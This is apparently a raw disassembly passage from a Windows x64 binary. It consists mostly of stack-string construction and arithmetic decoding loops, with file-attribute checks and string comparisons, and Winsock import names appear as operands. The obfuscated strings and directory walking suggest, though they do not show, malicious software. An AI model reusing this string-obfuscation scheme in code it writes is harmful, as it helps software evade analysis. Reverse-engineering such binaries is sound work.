mov byte [rbp + 0xb8a], shutdown
mov byte [rbp + 0xb8b], shutdown
mov byte [rbp + 0xb8c], shutdown
mov al, byte [rbp + 0xb88]
test al, 1
jne 0x14001c082
mov al, byte [rbp + 0xb89]
movzx eax, al
imul eax, eax, 0x37
mov ecx, eax
add ecx, 0xfffffbeb
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffbeb
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0xfffffbeb
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xb89], al
mov al, byte [rbp + 0xb8a]
movzx eax, al
imul eax, eax, 0x37
mov ecx, eax
add ecx, 0xfffffbeb
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffbeb
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0xfffffbeb
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xb8a], al
mov al, byte [rbp + 0xb8b]
movzx eax, al
imul eax, eax, 0x37
mov ecx, eax
add ecx, 0xfffffbeb
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffbeb
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0xfffffbeb
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xb8b], al
mov al, byte [rbp + 0xb8c]
movzx eax, al
imul eax, eax, 0x37
mov ecx, eax
add ecx, 0xfffffbeb
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0xfffffbeb
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0xfffffbeb
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0xb8c], al
mov rcx, r15
mov rdx, r13
call qword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x14001be90
mov byte [rbp + 0x340], 0
mov byte [rbp + 0x341], WSAGetLastError
mov byte [rbp + 0x342], 0x2a
mov byte [rbp + 0x343], WSAGetLastError
mov byte [rbp + 0x344], 0x2a
mov byte [rbp + 0x345], 0x2a
mov byte [rbp + 0x346], 0x2a
mov al, byte [rbp + 0x340]
test al, 1
jne 0x14001c357
mov al, byte [rbp + 0x341]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x5be
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x5be
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x5be
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0x341], al
mov al, byte [rbp + 0x342]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x5be
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x5be
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x5be
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0x342], al
mov al, byte [rbp + 0x343]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x5be
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x5be
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x5be
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0x343], al
mov al, byte [rbp + 0x344]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x5be
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x5be
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x5be
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0x344], al
mov al, byte [rbp + 0x345]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x5be
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x5be
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x5be
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0x345], al
mov al, byte [rbp + 0x346]
movzx eax, al
imul eax, eax, 0xffffffdd
mov ecx, eax
add ecx, 0x5be
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, eax
add ecx, 0x5be
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add eax, ecx
add eax, 0x5be
add al, 0x7f
movzx eax, al
lea ecx, [rax + rax*2]
shr ecx, 8
mov edx, eax
sub dl, cl
shr dl, 1
add dl, cl
shr dl, 6
movzx ecx, dl
mov edx, ecx
shl edx, 7
sub edx, ecx
sub al, dl
mov byte [rbp + 0x346], al
mov rcx, r15
lea rdx, [rbp + 0x341]
call qword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x14001be90
mov eax, dword [rbp - 0x40]
test eax, 0x400
jne 0x14001be90
test al, 0x10
jne 0x14001f07b
mov byte [rbp + 0x690], 0
mov byte [rbp + 0x691], 0x21
mov byte [rbp + 0x692], 0xd
mov byte [rbp + 0x693], 0x76
mov byte [rbp + 0x694], 0xd
mov byte [rbp + 0x695], 0x4c
mov byte [rbp + 0x696], 0xd
mov byte [rbp + 0x697], 0x2a
mov byte [rbp + 0x698], 0xd
mov byte [rbp + 0x699], 0xd
mov byte [rbp + 0x69a], 0xd
lea rcx, [rbp + 0x690]
call fcn.140024a70
mov qword [rbp + 0x340], rax
mov byte [rbp + 0x6b0], 0
mov byte [rbp + 0x6b1], 0x1d
mov byte [rbp + 0x6b2], 0x4e
mov byte [rbp + 0x6b3], 0x79
mov byte [rbp + 0x6b4], 0x4e
mov byte [rbp + 0x6b5], 0x68
mov byte [rbp + 0x6b6], 0x4e
mov byte [rbp + 0x6b7], 2
mov byte [rbp + 0x6b8], 0x4e
mov byte [rbp + 0x6b9], 0x4e
mov byte [rbp + 0x6ba], 0x4e
lea rcx, [rbp + 0x6b0]
call fcn.140024f10
mov qword [rbp + 0x348], rax
mov byte [rbp + 0x6d0], 0
mov byte [rbp + 0x6d1], inet_ntoa
mov byte [rbp + 0x6d2], 3
mov byte [rbp + 0x6d3], gethostname
mov byte [rbp + 0x6d4], 3
mov byte [rbp + 0x6d5], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x6d6], 3
mov byte [rbp + 0x6d7], 0x52
mov byte [rbp + 0x6d8], 3
mov byte [rbp + 0x6d9], 3
mov byte [rbp + 0x6da], 3
lea rcx, [rbp + 0x6d0]
call fcn.140025390
mov qword [rbp + 0x350], rax
mov byte [rbp + 0x6e8], 0
mov byte [rbp + 0x6e9], gethostbyname
mov byte [rbp + 0x6ea], 0x52
mov byte [rbp + 0x6eb], 0x1b
mov byte [rbp + 0x6ec], 0x52
mov byte [rbp + 0x6ed], gethostbyname
mov byte [rbp + 0x6ee], 0x52
mov byte [rbp + 0x6ef], gethostbyname
mov byte [rbp + 0x6f0], 0x52
mov byte [rbp + 0x6f1], 0x52
mov byte [rbp + 0x6f2], 0x52
lea rcx, [rbp + 0x6e8]
call fcn.1400257c0
mov qword [rbp + 0x358], rax
mov byte [rbp + 0x700], 0
mov byte [rbp + 0x701], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x702], WSAGetLastError
mov byte [rbp + 0x703], 0x43
mov byte [rbp + 0x704], WSAGetLastError
mov byte [rbp + 0x705], 0x1c
mov byte [rbp + 0x706], WSAGetLastError
mov byte [rbp + 0x707], WSAGetLastError
mov byte [rbp + 0x708], WSAGetLastError
mov byte [rbp + 0x709], WSAGetLastError
mov byte [rbp + 0x70a], WSAGetLastError
lea rcx, [rbp + 0x700]
call fcn.140025c60
mov qword [rbp + 0x360], rax
mov byte [rbp + 0x748], 0
mov byte [rbp + 0x749], 0x3c
mov byte [rbp + 0x74a], WSACleanup
mov byte [rbp + 0x74b], gethostname
mov byte [rbp + 0x74c], WSACleanup
mov byte [rbp + 0x74d], 0x5e
mov byte [rbp + 0x74e], WSACleanup
mov byte [rbp + 0x74f], 0xa
mov byte [rbp + 0x750], WSACleanup
mov byte [rbp + 0x751], WSACleanup
mov byte [rbp + 0x752], WSACleanup
lea rcx, [rbp + 0x748]
call fcn.1400260b0
mov qword [rbp + 0x368], rax
mov byte [rbp + 0x760], 0
mov byte [rbp + 0x761], 0x2a
mov byte [rbp + 0x762], 0x19
mov byte [rbp + 0x763], 0x67
mov byte [rbp + 0x764], 0x19
mov byte [rbp + 0x765], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x766], 0x19
mov byte [rbp + 0x767], 0x49
mov byte [rbp + 0x768], 0x19
mov byte [rbp + 0x769], 0x19
mov byte [rbp + 0x76a], 0x19
lea rcx, [rbp + 0x760]
call fcn.140026530
mov qword [rbp + 0x370], rax
mov byte [rbp + 0x778], 0
mov byte [rbp + 0x779], 0x46
mov byte [rbp + 0x77a], 6
mov byte [rbp + 0x77b], 0x53
mov byte [rbp + 0x77c], 6
mov byte [rbp + 0x77d], gethostbyname
mov byte [rbp + 0x77e], 6
mov byte [rbp + 0x77f], 0x77
mov byte [rbp + 0x780], 6
mov byte [rbp + 0x781], 6
mov byte [rbp + 0x782], 6
lea rcx, [rbp + 0x778]
call fcn.1400269b0
mov qword [rbp + 0x378], rax
mov byte [rbp + 0x840], 0
mov byte [rbp + 0x841], 1
mov byte [rbp + 0x842], 0x63
mov byte [rbp + 0x843], pe_nt_image_headers64
mov byte [rbp + 0x844], 0x63
mov byte [rbp + 0x845], setsockopt
mov byte [rbp + 0x846], 0x63
mov byte [rbp + 0x847], 8
mov byte [rbp + 0x848], 0x63
mov byte [rbp + 0x849], WSACleanup
mov byte [rbp + 0x84a], 0x63
mov byte [rbp + 0x84b], WSACleanup
mov byte [rbp + 0x84c], 0x63
mov byte [rbp + 0x84d], 2
mov byte [rbp + 0x84e], 0x63
mov byte [rbp + 0x84f], 0x45
mov byte [rbp + 0x850], 0x63
mov byte [rbp + 0x851], 0x2a
mov byte [rbp + 0x852], 0x63
mov byte [rbp + 0x853], 0x63
mov byte [rbp + 0x854], 0x63
mov al, byte [rbp + 0x840]
test al, 1
jne 0x14001c7ae
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte [rbp + rax + 0x841]
movzx ecx, cl
lea edx, [rcx + rcx*4]
lea ebx, [rcx + rdx*8]
lea ecx, [rcx + rdx*8]
add ecx, 0xfffff025
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xfffff025
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xfffff025
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x841], cl
add rax, 1
cmp rax, 0x14
jne 0x14001c730
lea rax, [rbp + 0x841]
mov qword [rbp + 0x380], rax
mov byte [rbp + 0x988], 0
mov byte [rbp + 0x989], 0x77
mov byte [rbp + 0x98a], 0x5e
mov byte [rbp + 0x98b], 7
mov byte [rbp + 0x98c], 0x5e
mov byte [rbp + 0x98d], 0x48
mov byte [rbp + 0x98e], 0x5e
mov byte [rbp + 0x98f], 0x28
mov byte [rbp + 0x990], 0x5e
mov byte [rbp + 0x991], 0x5e
mov byte [rbp + 0x992], 0x5e
lea rcx, [rbp + 0x988]
call fcn.140026e30
mov qword [rbp + 0x388], rax
mov byte [rbp + 0x930], 0
mov byte [rbp + 0x931], gethostname
mov byte [rbp + 0x932], 0x21
mov byte [rbp + 0x933], 0x52
mov byte [rbp + 0x934], 0x21
mov byte [rbp + 0x935], 0x63
mov byte [rbp + 0x936], 0x21
mov byte [rbp + 0x937], 0x53
mov byte [rbp + 0x938], 0x21
mov byte [rbp + 0x939], 0x4a
mov byte [rbp + 0x93a], 0x21
mov byte [rbp + 0x93b], 0x64
mov byte [rbp + 0x93c], 0x21
mov byte [rbp + 0x93d], reloc.WS2_32.dll_socket
mov byte [rbp + 0x93e], 0x21
mov byte [rbp + 0x93f], 0x63
mov byte [rbp + 0x940], 0x21
mov byte [rbp + 0x941], WSAGetLastError
mov byte [rbp + 0x942], 0x21
mov byte [rbp + 0x943], 0x63
mov byte [rbp + 0x944], 0x21
mov byte [rbp + 0x945], 0x20
mov byte [rbp + 0x946], 0x21
mov byte [rbp + 0x947], 0x1f
mov byte [rbp + 0x948], 0x21
mov byte [rbp + 0x949], 0x41
mov byte [rbp + 0x94a], 0x21
mov byte [rbp + 0x94b], 0x4a
mov byte [rbp + 0x94c], 0x21
mov byte [rbp + 0x94d], 0x21
mov byte [rbp + 0x94e], 0x21
mov al, byte [rbp + 0x930]
test al, 1
jne 0x14001c98e
xor eax, eax
nop word cs:[rax + rax]
nop
movzx ecx, byte [rbp + rax + 0x931]
movzx ecx, cl
lea ecx, [rcx + rcx*4]
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rcx*2]
add ecx, 0xfffffe11
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffe11
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffffe11
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x931], cl
add rax, 1
cmp rax, 0x1e
jne 0x14001c910
lea rax, [rbp + 0x931]
mov qword [rbp + 0x390], rax
mov byte [rbp + 0x790], 0
mov byte [rbp + 0x791], 0x5f
mov byte [rbp + 0x792], 0x54
mov byte [rbp + 0x793], 3
mov byte [rbp + 0x794], 0x54
mov byte [rbp + 0x795], shutdown
mov byte [rbp + 0x796], 0x54
mov byte [rbp + 0x797], 0x79
mov byte [rbp + 0x798], 0x54
mov byte [rbp + 0x799], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x79a], 0x54
mov byte [rbp + 0x79b], 0
mov byte [rbp + 0x79c], 0x54
mov byte [rbp + 0x79d], 0x79
mov byte [rbp + 0x79e], 0x54
mov byte [rbp + 0x79f], 0x7c
mov byte [rbp + 0x7a0], 0x54
mov byte [rbp + 0x7a1], 0x54
mov byte [rbp + 0x7a2], 0x54
mov al, byte [rbp + 0x790]
test al, 1
jne 0x14001caaa
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x791]
movzx ecx, cl
imul ecx, ecx, 0xffffffd6
mov edx, ecx
add edx, 0xdc8
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xdc8
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xdc8
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x791], cl
add rax, 1
cmp rax, 0x12
jne 0x14001ca30
lea rax, [rbp + 0x791]
mov qword [rbp + 0x398], rax
mov byte [rbp + 0x7b8], 0
mov byte [rbp + 0x7b9], shutdown
mov byte [rbp + 0x7ba], 0x25
mov byte [rbp + 0x7bb], 0x49
mov byte [rbp + 0x7bc], 0x25
mov byte [rbp + 0x7bd], 0x18
mov byte [rbp + 0x7be], 0x25
mov byte [rbp + 0x7bf], 0x4d
mov byte [rbp + 0x7c0], 0x25
mov byte [rbp + 0x7c1], 0x45
mov byte [rbp + 0x7c2], 0x25
mov byte [rbp + 0x7c3], 0x20
mov byte [rbp + 0x7c4], 0x25
mov byte [rbp + 0x7c5], 0x1c
mov byte [rbp + 0x7c6], 0x25
mov byte [rbp + 0x7c7], 0x45
mov byte [rbp + 0x7c8], 0x25
mov byte [rbp + 0x7c9], 0x25
mov byte [rbp + 0x7ca], 0x25
mov al, byte [rbp + 0x7b8]
test al, 1
jne 0x14001cbce
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x7b9]
movzx ecx, cl
mov edx, ecx
shl edx, 5
sub edx, ecx
mov ecx, edx
add ecx, 0xfffffb85
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffb85
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffffb85
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x7b9], cl
add rax, 1
cmp rax, 0x12
jne 0x14001cb50
lea rax, [rbp + 0x7b9]
mov qword [rbp + 0x3a0], rax
mov byte [rbp + 0x890], 0
mov byte [rbp + 0x891], 0x1d
mov byte [rbp + 0x892], 0x3c
mov byte [rbp + 0x893], 0x5c
mov byte [rbp + 0x894], 0x3c
mov byte [rbp + 0x895], 0x77
mov byte [rbp + 0x896], 0x3c
mov byte [rbp + 0x897], 0x19
mov byte [rbp + 0x898], 0x3c
mov byte [rbp + 0x899], 0x20
mov byte [rbp + 0x89a], 0x3c
mov byte [rbp + 0x89b], WSAGetLastError
mov byte [rbp + 0x89c], 0x3c
mov byte [rbp + 0x89d], 0x4f
mov byte [rbp + 0x89e], 0x3c
mov byte [rbp + 0x89f], 0x20
mov byte [rbp + 0x8a0], 0x3c
mov byte [rbp + 0x8a1], 0x3c
mov byte [rbp + 0x8a2], 0x3c
mov al, byte [rbp + 0x890]
test al, 1
jne 0x14001ccfe
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx ecx, byte [rbp + rax + 0x891]
movzx ecx, cl
lea edx, [rcx + rcx*8]
lea ebx, [rcx + rdx*2]
lea ecx, [rcx + rdx*2]
add ecx, 0xfffffb8c
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xfffffb8c
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xfffffb8c
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x891], cl
add rax, 1
cmp rax, 0x12
jne 0x14001cc80
lea rax, [rbp + 0x891]
mov qword [rbp + 0x3a8], rax
mov byte [rbp + 0x868], 0
mov byte [rbp + 0x869], 3
mov byte [rbp + 0x86a], 0x45
mov byte [rbp + 0x86b], gethostbyname
mov byte [rbp + 0x86c], 0x45
mov byte [rbp + 0x86d], 0x1e
mov byte [rbp + 0x86e], 0x45
mov byte [rbp + 0x86f], 0x2c
mov byte [rbp + 0x870], 0x45
mov byte [rbp + 0x871], 0x18
mov byte [rbp + 0x872], 0x45
mov byte [rbp + 0x873], 0x4f
mov byte [rbp + 0x874], 0x45
mov byte [rbp + 0x875], 0x1b
mov byte [rbp + 0x876], 0x45
mov byte [rbp + 0x877], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x878], 0x45
mov byte [rbp + 0x879], 0x62
mov byte [rbp + 0x87a], 0x45
mov byte [rbp + 0x87b], 0x45
mov byte [rbp + 0x87c], 0x45
mov al, byte [rbp + 0x868]
test al, 1
jne 0x14001ce30
xor eax, eax
nop
movzx ecx, byte [rbp + rax + 0x869]
movzx ecx, cl
lea edx, [rcx*8]
sub edx, ecx
mov ecx, edx
add ecx, 0xfffffe1d
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffe1d
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffffe1d
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x869], cl
add rax, 1
cmp rax, 0x14
jne 0x14001cdb0
lea rax, [rbp + 0x869]
mov qword [rbp + 0x3b0], rax
mov byte [rbp + 0x9a0], 0
mov byte [rbp + 0x9a1], gethostbyname
mov byte [rbp + 0x9a2], WSAGetLastError
mov byte [rbp + 0x9a3], 0x2c
mov byte [rbp + 0x9a4], WSAGetLastError
mov byte [rbp + 0x9a5], setsockopt
mov byte [rbp + 0x9a6], WSAGetLastError
mov byte [rbp + 0x9a7], 0x2b
mov byte [rbp + 0x9a8], WSAGetLastError
mov byte [rbp + 0x9a9], WSAGetLastError
mov byte [rbp + 0x9aa], WSAGetLastError
lea rcx, [rbp + 0x9a0]
call fcn.1400272b0
mov qword [rbp + 0x3b8], rax
mov byte [rbp + 0xa68], 0
mov byte [rbp + 0xa69], 0x68
mov byte [rbp + 0xa6a], 0x57
mov byte [rbp + 0xa6b], WSAGetLastError
mov byte [rbp + 0xa6c], 0x57
mov byte [rbp + 0xa6d], 0x2b
mov byte [rbp + 0xa6e], 0x57
mov byte [rbp + 0xa6f], WSAGetLastError
mov byte [rbp + 0xa70], 0x57
mov byte [rbp + 0xa71], 0x57
mov byte [rbp + 0xa72], 0x57
lea rcx, [rbp + 0xa68]
call fcn.1400276f0
mov qword [rbp + 0x3c0], rax
mov byte [rbp + 0xa80], 0
mov byte [rbp + 0xa81], shutdown
mov byte [rbp + 0xa82], gethostname
mov byte [rbp + 0xa83], 0x48
mov byte [rbp + 0xa84], gethostname
mov byte [rbp + 0xa85], 0x66
mov byte [rbp + 0xa86], gethostname
mov byte [rbp + 0xa87], 5
mov byte [rbp + 0xa88], gethostname
mov byte [rbp + 0xa89], gethostname
mov byte [rbp + 0xa8a], gethostname
lea rcx, [rbp + 0xa80]
call fcn.140027b70
mov qword [rbp + 0x3c8], rax
mov byte [rbp + 0x8b8], 0
mov byte [rbp + 0x8b9], 0xe
mov byte [rbp + 0x8ba], gethostbyname
mov byte [rbp + 0x8bb], 5
mov byte [rbp + 0x8bc], gethostbyname
mov byte [rbp + 0x8bd], pe_nt_image_headers64
mov byte [rbp + 0x8be], gethostbyname
mov byte [rbp + 0x8bf], 0x50
mov byte [rbp + 0x8c0], gethostbyname
mov byte [rbp + 0x8c1], gethostname
mov byte [rbp + 0x8c2], gethostbyname
mov byte [rbp + 0x8c3], 0x3e
mov byte [rbp + 0x8c4], gethostbyname
mov byte [rbp + 0x8c5], 0x60
mov byte [rbp + 0x8c6], gethostbyname
mov byte [rbp + 0x8c7], 2
mov byte [rbp + 0x8c8], gethostbyname
mov byte [rbp + 0x8c9], 0x4a
mov byte [rbp + 0x8ca], gethostbyname
mov byte [rbp + 0x8cb], gethostbyname
mov byte [rbp + 0x8cc], gethostbyname
mov al, byte [rbp + 0x8b8]
test al, 1
jne 0x14001d096
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx ecx, byte [rbp + rax + 0x8b9]
movzx ecx, cl
mov edx, ecx
shl edx, 6
mov ebx, ecx
sub ebx, edx
neg edx
add ecx, edx
add ecx, 0xc0f
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xc0f
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xc0f
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x8b9], cl
add rax, 1
cmp rax, 0x14
jne 0x14001d010
lea rax, [rbp + 0x8b9]
mov qword [rbp + 0x3d0], rax
mov byte [rbp + 0x7e0], 0
mov byte [rbp + 0x7e1], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x7e2], WSACleanup
mov byte [rbp + 0x7e3], 0x5b
mov byte [rbp + 0x7e4], WSACleanup
mov byte [rbp + 0x7e5], 0x1b
mov byte [rbp + 0x7e6], WSACleanup
mov byte [rbp + 0x7e7], 0x66
mov byte [rbp + 0x7e8], WSACleanup
mov byte [rbp + 0x7e9], WSACleanup
mov byte [rbp + 0x7ea], WSACleanup
mov byte [rbp + 0x7eb], WSACleanup
mov byte [rbp + 0x7ec], WSACleanup
mov al, byte [rbp + 0x7e0]
test al, 1
jne 0x14001d18b
xor eax, eax
nop
movzx ecx, byte [rbp + rax + 0x7e1]
movzx ecx, cl
lea ecx, [rcx + rcx*2]
lea edx, [rcx*4 - 0x558]
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
lea edx, [rdx + rcx*4]
add edx, 0xfffffaa8
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
lea ecx, [rdx + rcx*4]
add ecx, 0xfffffaa8
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x7e1], cl
add rax, 1
cmp rax, 0xc
jne 0x14001d110
lea rax, [rbp + 0x7e1]
mov qword [rbp + 0x3d8], rax
mov byte [rbp + 0xa98], 0
mov byte [rbp + 0xa99], 0x56
mov byte [rbp + 0xa9a], 0x27
mov byte [rbp + 0xa9b], inet_ntoa
mov byte [rbp + 0xa9c], 0x27
mov byte [rbp + 0xa9d], 0x26
mov byte [rbp + 0xa9e], 0x27
